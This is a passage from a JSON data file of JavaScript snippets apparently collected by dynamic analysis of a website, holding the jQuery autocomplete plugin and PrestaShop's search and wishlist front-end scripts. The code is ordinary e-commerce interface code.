: null;\t\tfunction findValueCallback(q, data) {\t\t\tvar result;\t\t\tif( data && data.length ) {\t\t\t\tfor (var i=0; i < data.length; i++) {\t\t\t\t\tif( data[i].result.toLowerCase() == q.toLowerCase() ) {\t\t\t\t\t\tresult = data[i];\t\t\t\t\t\tbreak;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\tif( typeof fn == \"function\" ) fn(result);\t\t\telse $input.trigger(\"result\", result && [result.data, result.value]);\t\t}\t\t$.each(trimWords($input.val()), function(i, value) {\t\t\trequest(value, findValueCallback, findValueCallback);\t\t});\t}).bind(\"flushCache\", function() {\t\tcache.flush();\t}).bind(\"setOptions\", function() {\t\t$.extend(options, arguments[1]);\t\t// if we've updated the data, repopulate\t\tif ( \"data\" in arguments[1] )\t\t\tcache.populate();\t}).bind(\"unautocomplete\", function() {\t\tselect.unbind();\t\t$input.unbind();\t\t$(input.form).unbind(\".autocomplete\");\t});\t\t\tfunction selectCurrent() {\t\tvar selected = select.selected();\t\tif( !selected )\t\t\treturn false;\t\t\t\tvar v = selected.result;\t\tpreviousValue = v;\t\t\t\tif ( options.multiple ) {\t\t\tvar words = trimWords($input.val());\t\t\tif ( words.length > 1 ) {\t\t\t\tv = words.slice(0, words.length - 1).join( options.multipleSeparator ) + options.multipleSeparator + v;\t\t\t}\t\t\tv += options.multipleSeparator;\t\t}\t\t\t\t$input.val(v);\t\thideResultsNow();\t\t$input.trigger(\"result\", [selected.data, selected.value]);\t\treturn true;\t}\t\tfunction onChange(crap, skipPrevCheck) {\t\tif( lastKeyPressCode == KEY.DEL ) {\t\t\tselect.hide();\t\t\treturn;\t\t}\t\t\t\tvar currentValue = $input.val();\t\t\t\tif ( !skipPrevCheck && currentValue == previousValue )\t\t\treturn;\t\t\t\tpreviousValue = currentValue;\t\t\t\tcurrentValue = lastWord(currentValue);\t\tif ( currentValue.length >= options.minChars) {\t\t\t$input.addClass(options.loadingClass);\t\t\tif (!options.matchCase)\t\t\t\tcurrentValue = currentValue.toLowerCase();\t\t\trequest(currentValue, receiveData, hideResultsNow);\t\t} else {\t\t\tstopLoading();\t\t\tselect.hide();\t\t}\t};\t\tfunction trimWords(value) {\t\tif ( !value ) {\t\t\treturn [\"\"];\t\t}\t\tvar words = value.split( options.multipleSeparator );\t\tvar result = [];\t\t$.each(words, function(i, value) {\t\t\tif ( $.trim(value) )\t\t\t\tresult[i] = $.trim(value);\t\t});\t\treturn result;\t}\t\tfunction lastWord(value) {\t\tif ( !options.multiple )\t\t\treturn value;\t\tvar words = trimWords(value);\t\treturn words[words.length - 1];\t}\t\t// fills in the input box w/the first match (assumed to be the best match)\t// q: the term entered\t// sValue: the first matching result\tfunction autoFill(q, sValue){\t\t// autofill in the complete box w/the first match as long as the user hasn't entered in more data\t\t// if the last user key pressed was backspace, don't autofill\t\tif( options.autoFill && (lastWord($input.val()).toLowerCase() == q.toLowerCase()) && lastKeyPressCode != KEY.BACKSPACE ) {\t\t\t// fill in the value (keep the case the user has typed)\t\t\t$input.val($input.val() + sValue.substring(lastWord(previousValue).length));\t\t\t// select the portion of the value not typed by the user (so the next character will erase)\t\t\t$.Autocompleter.Selection(input, previousValue.length, previousValue.length + sValue.length);\t\t}\t};\tfunction hideResults() {\t\tclearTimeout(timeout);\t\ttimeout = setTimeout(hideResultsNow, 200);\t};\tfunction hideResultsNow() {\t\tvar wasVisible = select.visible();\t\tselect.hide();\t\tclearTimeout(timeout);\t\tstopLoading();\t\tif (options.mustMatch) {\t\t\t// call search and run callback\t\t\t$input.search(\t\t\t\tfunction (result){\t\t\t\t\t// if no value found, clear the input box\t\t\t\t\tif( !result ) {\t\t\t\t\t\tif (options.multiple) {\t\t\t\t\t\t\tvar words = trimWords($input.val()).slice(0, -1);\t\t\t\t\t\t\t$input.val( words.join(options.multipleSeparator) + (words.length ? options.multipleSeparator : \"\") );\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\t$input.val( \"\" );\t\t\t\t\t}\t\t\t\t}\t\t\t);\t\t}\t\tif (wasVisible)\t\t\t// position cursor at end of input field\t\t\t$.Autocompleter.Selection(input, input.value.length, input.value.length);\t};\tfunction receiveData(q, data) {\t\tif ( data && data.length && hasFocus ) {\t\t\tstopLoading();\t\t\tselect.display(data, q);\t\t\tautoFill(q, data[0].value);\t\t\tselect.show();\t\t} else {\t\t\thideResultsNow();\t\t}\t};\tfunction request(term, success, failure) {\t\tif (!options.matchCase)\t\t\tterm = term.toLowerCase();\t\tvar data = cache.load(term);\t\t// recieve the cached data\t\tif (data && data.length) {\t\t\tsuccess(term, data);\t\t// if an AJAX url has been supplied, try loading the data now\t\t} else if( (typeof options.url == \"string\") && (options.url.length > 0) ){\t\t\t\t\t\tvar extraParams = {\t\t\t\ttimestamp: +new Date()\t\t\t};\t\t\t$.each(options.extraParams, function(key, param) {\t\t\t\textraParams[key] = typeof param == \"function\" ? param() : param;\t\t\t});\t\t\t\t\t\t$.ajax({\t\t\t\t// try to leverage ajaxQueue plugin to abort previous requests\t\t\t\tmode: \"abort\",\t\t\t\t// limit abortion to this input\t\t\t\tport: \"autocomplete\" + input.name,\t\t\t\tdataType: options.dataType,\t\t\t\turl: options.url,\t\t\t\tdata: $.extend({\t\t\t\t\tq: lastWord(term),\t\t\t\t\tlimit: options.max\t\t\t\t}, extraParams),\t\t\t\tsuccess: function(data) {\t\t\t\t\tvar parsed = options.parse && options.parse(data) || parse(data);\t\t\t\t\tcache.add(term, parsed);\t\t\t\t\tsuccess(term, parsed);\t\t\t\t}\t\t\t});\t\t} else {\t\t\t// if we have a failure, we need to empty the list -- this prevents the the [TAB] key from selecting the last successful match\t\t\tselect.emptyList();\t\t\tfailure(term);\t\t}\t};\t\tfunction parse(data) {\t\tvar parsed = [];\t\tvar rows = data.split(\"\\n\");\t\tfor (var i=0; i < rows.length; i++) {\t\t\tvar row = $.trim(rows[i]);\t\t\tif (row) {\t\t\t\trow = row.split(\"|\");\t\t\t\tparsed[parsed.length] = {\t\t\t\t\tdata: row,\t\t\t\t\tvalue: row[0],\t\t\t\t\tresult: options.formatResult && options.formatResult(row, row[0]) || row[0]\t\t\t\t};\t\t\t}\t\t}\t\treturn parsed;\t};\tfunction stopLoading() {\t\t$input.removeClass(options.loadingClass);\t};};$.Autocompleter.defaults = {\tinputClass: \"ac_input\",\tresultsClass: \"ac_results\",\tloadingClass: \"ac_loading\",\tminChars: 1,\tdelay: 400,\tmatchCase: false,\tmatchSubset: true,\tmatchContains: false,\tcacheLength: 10,\tmax: 100,\tmustMatch: false,\textraParams: {},\tselectFirst: true,\tformatItem: function(row) { return row[0]; },\tformatMatch: null,\tautoFill: false,\twidth: 0,\tmultiple: false,\tmultipleSeparator: \", \",\thighlight: function(value, term) {\t\treturn value.replace(new RegExp(\"(?![^&;]+;)(?!<[^<>]*)(\" + term.replace(/([\\^\\$\\(\\)\\[\\]\\{\\}\\*\\.\\+\\?\\|\\\\])/gi, \"\\\\$1\") + \")(?![^<>]*>)(?![^&;]+;)\", \"gi\"), \"<strong>$1</strong>\");\t}, scroll: true, scrollHeight: 180};$.Autocompleter.Cache = function(options) {\tvar data = {};\tvar length = 0;\t\tfunction matchSubset(s, sub) {\t\tif (!options.matchCase) \t\t\ts = s.toLowerCase();\t\tvar i = s.indexOf(sub);\t\tif (i == -1) return false;\t\treturn i == 0 || options.matchContains;\t};\t\tfunction add(q, value) {\t\tif (length > options.cacheLength){\t\t\tflush();\t\t}\t\tif (!data[q]){ \t\t\tlength++;\t\t}\t\tdata[q] = value;\t}\t\tfunction populate(){\t\tif( !options.data ) return false;\t\t// track the matches\t\tvar stMatchSets = {},\t\t\tnullData = 0;\t\t// no url was specified, we need to adjust the cache length to make sure it fits the local data store\t\tif( !options.url ) options.cacheLength = 1;\t\t\t\t// track all options for minChars = 0\t\tstMatchSets[\"\"] = [];\t\t\t\t// loop through the array and create a lookup structure\t\tfor ( var i = 0, ol = options.data.length; i < ol; i++ ) {\t\t\tvar rawValue = options.data[i];\t\t\t// if rawValue is a string, make an array otherwise just reference the array\t\t\trawValue = (typeof rawValue == \"string\") ? [rawValue] : rawValue;\t\t\t\t\t\tvar value = options.formatMatch(rawValue, i+1, options.data.length);\t\t\tif ( value === false )\t\t\t\tcontinue;\t\t\t\t\t\t\tvar firstChar = value.charAt(0).toLowerCase();\t\t\t// if no lookup array for this character exists, look it up now\t\t\tif( !stMatchSets[firstChar] ) \t\t\t\tstMatchSets[firstChar] = [];\t\t\t// if the match is a string\t\t\tvar row = {\t\t\t\tvalue: value,\t\t\t\tdata: rawValue,\t\t\t\tresult: options.formatResult && options.formatResult(rawValue) || value\t\t\t};\t\t\t\t\t\t// push the current match into the set list\t\t\tstMatchSets[firstChar].push(row);\t\t\t// keep track of minChars zero items\t\t\tif ( nullData++ < options.max ) {\t\t\t\tstMatchSets[\"\"].push(row);\t\t\t}\t\t};\t\t// add the data items to the cache\t\t$.each(stMatchSets, function(i, value) {\t\t\t// increase the cache size\t\t\toptions.cacheLength++;\t\t\t// add to the cache\t\t\tadd(i, value);\t\t});\t}\t\t// populate any existing data\tsetTimeout(populate, 25);\t\tfunction flush(){\t\tdata = {};\t\tlength = 0;\t}\t\treturn {\t\tflush: flush,\t\tadd: add,\t\tpopulate: populate,\t\tload: function(q) {\t\t\tif (!options.cacheLength || !length)\t\t\t\treturn null;\t\t\t/* \t\t\t * if dealing w/local data and matchContains than we must make sure\t\t\t * to loop through all the data collections looking for matches\t\t\t */\t\t\tif( !options.url && options.matchContains ){\t\t\t\t// track all matches\t\t\t\tvar csub = [];\t\t\t\t// loop through all the data grids for matches\t\t\t\tfor( var k in data ){\t\t\t\t\t// don't search through the stMatchSets[\"\"] (minChars: 0) cache\t\t\t\t\t// this prevents duplicates\t\t\t\t\tif( k.length > 0 ){\t\t\t\t\t\tvar c = data[k];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\t// if we've got a match, add it to the array\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub.push(x);\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t\t\t\t\t\treturn csub;\t\t\t} else \t\t\t// if the exact item exists, use it\t\t\tif (data[q]){\t\t\t\treturn data[q];\t\t\t} else\t\t\tif (options.matchSubset) {\t\t\t\tfor (var i = q.length - 1; i >= options.minChars; i--) {\t\t\t\t\tvar c = data[q.substr(0, i)];\t\t\t\t\tif (c) {\t\t\t\t\t\tvar csub = [];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub[csub.length] = x;\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t\treturn csub;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\treturn null;\t\t}\t};};$.Autocompleter.Select = function (options, input, select, config) {\tvar CLASSES = {\t\tACTIVE: \"ac_over\"\t};\t\tvar listItems,\t\tactive = -1,\t\tdata,\t\tterm = \"\",\t\tneedsInit = true,\t\telement,\t\tlist;\t\t// Create results\tfunction init() {\t\tif (!needsInit)\t\t\treturn;\t\telement = $(\"<div/>\")\t\t.hide()\t\t.addClass(options.resultsClass)\t\t.css(\"position\", \"absolute\")\t\t.appendTo(document.body);\t\t\tlist = $(\"<ul/>\").appendTo(element).mouseover( function(event) {\t\t\tif(target(event).nodeName && target(event).nodeName.toUpperCase() == 'LI') {\t active = $(\"li\", list).removeClass(CLASSES.ACTIVE).index(target(event));\t\t\t $(target(event)).addClass(CLASSES.ACTIVE); \t }\t\t}).click(function(event) {\t\t\t$(target(event)).addClass(CLASSES.ACTIVE);\t\t\tselect();\t\t\t// TODO provide option to avoid setting focus again after selection? useful for cleanup-on-focus\t\t\tinput.focus();\t\t\treturn false;\t\t}).mousedown(function() {\t\t\tconfig.mouseDownOnSelect = true;\t\t}).mouseup(function() {\t\t\tconfig.mouseDownOnSelect = false;\t\t});\t\t\t\tif( options.width > 0 )\t\t\telement.css(\"width\", options.width);\t\t\t\t\tneedsInit = false;\t} \t\tfunction target(event) {\t\tvar element = event.target;\t\twhile(element && element.tagName != \"LI\")\t\t\telement = element.parentNode;\t\t// more fun with IE, sometimes event.target is empty, just ignore it then\t\tif(!element)\t\t\treturn [];\t\treturn element;\t}\tfunction moveSelect(step) {\t\tlistItems.slice(active, active + 1).removeClass(CLASSES.ACTIVE);\t\tmovePosition(step); var activeItem = listItems.slice(active, active + 1).addClass(CLASSES.ACTIVE); if(options.scroll) { var offset = 0; listItems.slice(0, active).each(function() {\t\t\t\toffset += this.offsetHeight;\t\t\t}); if((offset + activeItem[0].offsetHeight - list.scrollTop()) > list[0].clientHeight) { list.scrollTop(offset + activeItem[0].offsetHeight - list.innerHeight()); } else if(offset < list.scrollTop()) { list.scrollTop(offset); } }\t};\t\tfunction movePosition(step) {\t\tactive += step;\t\tif (active < 0) {\t\t\tactive = listItems.size() - 1;\t\t} else if (active >= listItems.size()) {\t\t\tactive = 0;\t\t}\t}\t\tfunction limitNumberOfItems(available) {\t\treturn options.max && options.max < available\t\t\t? options.max\t\t\t: available;\t}\t\tfunction fillList() {\t\tlist.empty();\t\tvar max = limitNumberOfItems(data.length);\t\tfor (var i=0; i < max; i++) {\t\t\tif (!data[i])\t\t\t\tcontinue;\t\t\tvar formatted = options.formatItem(data[i].data, i+1, max, data[i].value, term);\t\t\tif ( formatted === false )\t\t\t\tcontinue;\t\t\tvar li = $(\"<li/>\").html( options.highlight(formatted, term) ).addClass(i%2 == 0 ? \"ac_even\" : \"ac_odd\").appendTo(list)[0];\t\t\t$.data(li, \"ac_data\", data[i]);\t\t}\t\tlistItems = list.find(\"li\");\t\tif ( options.selectFirst ) {\t\t\tlistItems.slice(0, 1).addClass(CLASSES.ACTIVE);\t\t\tactive = 0;\t\t}\t\t// apply bgiframe if available\t\tif ( $.fn.bgiframe )\t\t\tlist.bgiframe();\t}\t\treturn {\t\tdisplay: function(d, q) {\t\t\tinit();\t\t\tdata = d;\t\t\tterm = q;\t\t\tfillList();\t\t},\t\tnext: function() {\t\t\tmoveSelect(1);\t\t},\t\tprev: function() {\t\t\tmoveSelect(-1);\t\t},\t\tpageUp: function() {\t\t\tif (active != 0 && active - 8 < 0) {\t\t\t\tmoveSelect( -active );\t\t\t} else {\t\t\t\tmoveSelect(-8);\t\t\t}\t\t},\t\tpageDown: function() {\t\t\tif (active != listItems.size() - 1 && active + 8 > listItems.size()) {\t\t\t\tmoveSelect( listItems.size() - 1 - active );\t\t\t} else {\t\t\t\tmoveSelect(8);\t\t\t}\t\t},\t\thide: function() {\t\t\telement && element.hide();\t\t\tlistItems && listItems.removeClass(CLASSES.ACTIVE);\t\t\tactive = -1;\t\t},\t\tvisible : function() {\t\t\treturn element && element.is(\":visible\");\t\t},\t\tcurrent: function() {\t\t\treturn this.visible() && (listItems.filter(\".\" + CLASSES.ACTIVE)[0] || options.selectFirst && listItems[0]);\t\t},\t\tshow: function() {\t\t\tvar offset = $(input).offset();\t\t\telement.css({\t\t\t\twidth: typeof options.width == \"string\" || options.width > 0 ? options.width : ($(input).width() + parseInt($(input).css('padding-left')) + parseInt($(input).css('padding-right')) + parseInt($(input).css('margin-left')) + parseInt($(input).css('margin-right'))),\t\t\t\ttop: offset.top + input.offsetHeight,\t\t\t\tleft: offset.left\t\t\t}).show(); if(options.scroll) { list.css({\t\t\t\t\tmaxHeight: options.scrollHeight,\t\t\t\t\toverflow: 'auto'\t\t\t\t});\t\t\t\t if($.browser.msie && typeof document.body.style.maxHeight === \"undefined\") {\t\t\t\t\tvar listHeight = 0;\t\t\t\t\tlistItems.each(function() {\t\t\t\t\t\tlistHeight += this.offsetHeight;\t\t\t\t\t});\t\t\t\t\tvar scrollbarsVisible = listHeight > options.scrollHeight; list.css('height', scrollbarsVisible ? options.scrollHeight : listHeight );\t\t\t\t\tif (!scrollbarsVisible) {\t\t\t\t\t\t// IE doesn't recalculate width when scrollbar disappears\t\t\t\t\t\tlistItems.width( list.width() - parseInt(listItems.css(\"padding-left\")) - parseInt(listItems.css(\"padding-right\")) );\t\t\t\t\t} } }\t\t},\t\tselected: function() {\t\t\tvar selected = listItems && listItems.filter(\".\" + CLASSES.ACTIVE).removeClass(CLASSES.ACTIVE);\t\t\treturn selected && selected.length && $.data(selected[0], \"ac_data\");\t\t},\t\temptyList: function (){\t\t\tlist && list.empty();\t\t},\t\tunbind: function() {\t\t\telement && element.remove();\t\t}\t};};$.Autocompleter.Selection = function(field, start, end) {\tif( field.createTextRange ){\t\tvar selRange = field.createTextRange();\t\tselRange.collapse(true);\t\tselRange.moveStart(\"character\", start);\t\tselRange.moveEnd(\"character\", end);\t\tselRange.select();\t} else if( field.setSelectionRange ){\t\tfield.setSelectionRange(start, end);\t} else {\t\tif( field.selectionStart ){\t\t\tfield.selectionStart = start;\t\t\tfield.selectionEnd = end;\t\t}\t}\tfield.focus();};})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var instantSearchQueries = [];$(document).ready(function(){\tif (typeof blocksearch_type == 'undefined')\t\treturn;\tvar $input = $(\"#search_query_\" + blocksearch_type);\tvar width_ac_results = \t$input.parent('form').outerWidth();\tif (typeof ajaxsearch != 'undefined' && ajaxsearch) {\t\t$input.autocomplete(\t\t\tsearch_url,\t\t\t{\t\t\t\tminChars: 3,\t\t\t\tmax: 10,\t\t\t\twidth: (width_ac_results > 0 ? width_ac_results : 500),\t\t\t\tselectFirst: false,\t\t\t\tscroll: false,\t\t\t\tdataType: \"json\",\t\t\t\tformatItem: function(data, i, max, value, term) {\t\t\t\t\treturn value;\t\t\t\t},\t\t\t\tparse: function(data) {\t\t\t\t\tvar mytab = [];\t\t\t\t\tfor (var i = 0; i < data.length; i++)\t\t\t\t\t\tmytab[mytab.length] = { data: data[i], value: data[i].cname + ' > ' + data[i].pname };\t\t\t\t\treturn mytab;\t\t\t\t},\t\t\t\textraParams: {\t\t\t\t\tajaxSearch: 1,\t\t\t\t\tid_lang: id_lang\t\t\t\t}\t\t\t}\t\t)\t\t.result(function(event, data, formatted) {\t\t\t$input.val(data.pname);\t\t\tdocument.location.href = data.product_link;\t\t});\t}\tif (typeof instantsearch != 'undefined' && instantsearch) {\t\t$input.on('keyup', function(){\t\t\tif($(this).val().length > 4)\t\t\t{\t\t\t\tstopInstantSearchQueries();\t\t\t\tinstantSearchQuery = $.ajax({\t\t\t\t\turl: search_url + '?rand=' + new Date().getTime(),\t\t\t\t\tdata: {\t\t\t\t\t\tinstantSearch: 1,\t\t\t\t\t\tid_lang: id_lang,\t\t\t\t\t\tq: $(this).val()\t\t\t\t\t},\t\t\t\t\tdataType: 'html',\t\t\t\t\ttype: 'POST',\t\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\t\tasync: true,\t\t\t\t\tcache: false,\t\t\t\t\tsuccess: function(data){\t\t\t\t\t\tif ($input.val().length > 0) {\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t\t\t$('#center_column').attr('id', 'old_center_column');\t\t\t\t\t\t\t$('#old_center_column').after('<div id=\"center_column\" class=\"' + $('#old_center_column').attr('class') + '\">' + data + '</div>').hide();\t\t\t\t\t\t\t// Button override\t\t\t\t\t\t\tajaxCart.overrideButtonsInThePage();\t\t\t\t\t\t\t$(\"#instant_search_results a.close\").on('click', function() {\t\t\t\t\t\t\t\t$input.val('');\t\t\t\t\t\t\t\treturn tryToCloseInstantSearch();\t\t\t\t\t\t\t});\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t}\t\t\t\t});\t\t\t\tinstantSearchQueries.push(instantSearchQuery);\t\t\t}\t\t\telse\t\t\t\ttryToCloseInstantSearch();\t\t});\t}});function tryToCloseInstantSearch(){\tvar $oldCenterColumn = $('#old_center_column');\tif ($oldCenterColumn.length > 0)\t{\t\t$('#center_column').remove();\t\t$oldCenterColumn.attr('id', 'center_column').show();\t\treturn false;\t}}function stopInstantSearchQueries(){\tfor(var i=0; i<instantSearchQueries.length; i++)\t\tinstantSearchQueries[i].abort();\tinstantSearchQueries = [];}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*//*** Update WishList Cart by adding, deleting, updating objects** @return void*///global variablesvar wishlistProductsIds = [];$(document).ready(function(){\twishlistRefreshStatus();\t$(document).on('change', 'select[name=wishlists]', function(){\t\tWishlistChangeDefault('wishlist_block_list', $(this).val());\t});\t$(\"#wishlist_button\").popover({\t\thtml: true,\t\tcontent: function () { \treturn $(\"#popover-content\").html(); \t} \t}); \t$('.wishlist').each(function() { \t\tcurrent = $(this); \t\t$(this).children('.wishlist_button_list').popover({ \t\t\thtml: true, \t\t\tcontent: function () { \t\t\t\treturn current.children('.popover-content').html(); \t\t\t} \t\t}); \t});});function WishlistCart(id, action, id_product, id_product_attribute, quantity, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdata: 'action=' + action + '&id_product=' + id_product + '&quantity=' + quantity + '&token=' + static_token + '&id_product_attribute=' + id_product_attribute + '&id_wishlist=' + id_wishlist,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'add')\t\t\t{\t\t\t\tif (isLogged == true) {\t\t\t\t\twishlistProductsIdsAdd(id_product);\t\t\t\t\twishlistRefreshStatus();\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + added_to_wishlist + '</p>'\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(added_to_wishlist);\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + loggin_required + '</p>'\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(loggin_required);\t\t\t\t}\t\t\t}\t\t\tif (action == 'delete') {\t\t\t\twishlistProductsIdsRemove(id_product);\t\t\t\twishlistRefreshStatus();\t\t\t}\t\t\tif($('#' + id).length != 0)\t\t\t{\t\t\t\t$('#' + id).slideUp('normal');\t\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t\t$('#' + id).slideDown('normal');\t\t\t}\t\t}\t});}/*** Change customer default wishlist** @return void*/function WishlistChangeDefault(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tdata: 'id_wishlist=' + id_wishlist + '&token=' + static_token,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).slideUp('normal');\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).slideDown('normal');\t\t}\t});}/*** Buy Product** @return void*/function WishlistBuyProduct(token, id_product, id_product_attribute, id_quantity, button, ajax){\tif(ajax)\t\tajaxCart.add(id_product, id_product_attribute, false, button, 1, [token, id_quantity]);\telse\t{\t\t$('#' + id_quantity).val(0);\t\tWishlistAddProductCart(token, id_product, id_product_attribute, id_quantity)\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].method='POST';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].action=baseUri + '?controller=cart';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].elements['token'].value = static_token;\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].submit();\t}\treturn (true);}function WishlistAddProductCart(token, id_product, id_product_attribute, id_quantity){\tif ($('#' + id_quantity).val() <= 0)\t\treturn (false);\t$.ajax({\t\t\ttype: 'GET',\t\t\turl: baseDir + 'modules/blockwishlist/buywishlistproduct.php?rand=' + new Date().getTime(),\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tdata: 'token=' + token + '&static_token=' + static_token + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute,\t\t\tasync: true,\t\t\tcache: false,\t\t\tsuccess: function(data)\t\t\t{\t\t\t\tif (data)\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + data + '</p>'\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(data);\t\t\t\t}\t\t\t\telse\t\t\t\t\t$('#' + id_quantity).val($('#' + id_quantity).val() - 1);\t\t\t}\t});\treturn (true);}/*** Show wishlist managment page** @return void*/function WishlistManage(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'id_wishlist=' + id_wishlist + '&refresh=' + false,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).hide();\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).fadeIn('slow');\t\t\t$('.wishlist_change_button').each(function(index) {\t\t\t\t$(this).popover({\t\t\t\t\thtml: true,\t\t\t\t\tcontent: function () {\t \t\t\t\treturn $(this).next('.popover-content').html();\t \t\t\t}\t \t\t \t});\t\t\t});\t\t}\t});}/*** Show wishlist product managment page** @return void*/function WishlistProductManage(id, action, id_wishlist, id_product, id_product_attribute, quantity, priority){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'action=' + action + '&id_wishlist=' + id_wishlist + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute + '&quantity=' + quantity + '&priority=' + priority + '&refresh=' + true,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'delete')\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\telse if (action == 'update')\t\t\t{\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeIn('fast');\t\t\t}\t\t\tnb_products = 0;\t\t\t$(\"[id^='quantity']\").each(function(index, element){\t\t\t\tnb_products += parseInt(element.value);\t\t\t});\t\t\t$(\"#wishlist_\"+id_wishlist).children('td').eq(1).html(nb_products);\t\t}\t});}/*** Delete wishlist** @return boolean succeed*/function WishlistDelete(id, id_wishlist, msg){\tvar res = confirm(msg);\tif (res == false)\t\treturn (false);\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\tdataType: \"json\",\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand: new Date().getTime(),\t\t\tdeleted: 1,\t\t\tmyajax: 1,\t\t\tid_wishlist: id_wishlist,\t\t\taction: 'deletelist'\t\t},\t\tsuccess: function(data)\t\t{\t\t\tvar mywishlist_siblings_count = $('#' + id).siblings().length;\t\t\t$('#' + 